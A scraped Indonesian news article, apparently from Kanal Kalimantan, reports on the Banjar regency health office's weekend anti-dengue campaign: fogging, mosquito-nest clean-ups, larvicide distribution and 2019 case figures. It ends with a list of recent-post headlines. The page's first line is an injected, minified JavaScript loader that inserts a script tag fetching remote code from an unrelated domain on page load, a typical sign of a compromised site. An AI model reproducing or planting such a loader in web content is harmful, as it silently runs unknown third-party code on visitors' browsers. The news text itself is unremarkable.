(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Tak Kenal Hari Libur, Tim Dinkes Banjar Turun ke Permukiman Atasi DBD


MARTAPURA – Masih cukup tingginya penuralan penyakit Demam Berdarah Dengue (DBD) di Kabupaten Banjar memaksa Dinas Kesehatan (Dinkes) setempat mengintensifkan kegiatan di lapangan.

Tak cuma pada weekday atau hari kerja, pada momen weekend atau hari libur pun mereka tetap bergeral di lapangan, blusukan ke permukiman penduduk. Sasarannya pun tak cuma permukiman di wilayah kota dan sekitarnya, tapi juga hingga ke permukiman di wilayah yang jauh dari kota.

“Ini teman-teman bekerja cukup keras mengatasi DBD di lapangan. Tak mengenal hari libur lagi, Sabtu dan Minggu pun tetap bergerak ke permukiman warga. Sudah overload juga sebenarnya kerjanya, tapi tak mengapa demi memberantas DBD,” ucap Kepala Dinkes Banjar Ikhwansyah, Rabu (20/2).

Pejabat eselon II di Bumi Barakat ini lantas mencontohkan kegiatan pengasapan atau fogging yang dilaksanakan tiap hari ke berbagai tempat. Kegiatan ini dilakukan di tempat yang diitemukan adanya jentik nyamuk sesuai hasil penyelidikan epidemiologi (PE).

Bahkan dalam sehari kegiatan pengasapan dilakukan tak cuma sekali, namun hingga tiga kali. “Pokoknya ini benar-benar kami maksimalkan semua upaya untuk mengatasi penyebaran atau penularan DBD,” tegas Ikhwansyah.

Selain pengasapan, pihaknya juga terus menggencarkan sosialisasi dan aksi nyata pemberantasan sarang nyamuk (PSN) serta pembagian bubuk abate kepada masyarakat. Tim terus turun ke lingkungan masyarakat untuk mengajak melakukan aksi bersih-bersih semua tempat atau media yang bisa menjadi tempat berkembangbiak nyamuk aedes aegypti.

Nyamuk berwarna hitam berbintik putih itu adalah vektor atau perantara penularan virus DBD. Tempat berkembangbiaknya di air jernih dan bersih seperti di bak mandi, air di pot bunga dan tempat-tempat tampungan air jernih lainnya seperti di botol dan ban bekas, tampungan air buangan kulkas dan lainnya.

Tiap keluarga juga telah diminta minimal ada satu orang yang menjadi agen jentik. Tugasnya tiap hari memantau dan membersihkan tempat-tempat tampungan air dan memastikan tidak ada jentik nyamuk di dalamnya.

Ikhwansyah mengatakan pada periode bulan ini (Februari) terjadi penurunan kasus penularan DBD di Kabupaten Banjar. Ini berdasar data jumlah total kasus DBD hingga Rabu (20/02/2019) sebanyak 145, dengan posisi periode Januari sebanyak 105 kasus.

Itu menunjukkan upaya pemberantasan DBD yang digencarkan saat ini menunjukkan hasil. Meski begitu pihaknya tetap terus mengaktifkan kegiatan di lapangan. Apalagi pada 7 Februari lalu ada satu pasien DBD (anak laki-laki usia enam tahun) yang meninggal.(rendy)

Reporter:Rendy
Editor:Cell

Desy Arfianty

Recent Posts

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

1 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

2 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

2 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

3 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

5 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

6 jam ago

This website uses cookies.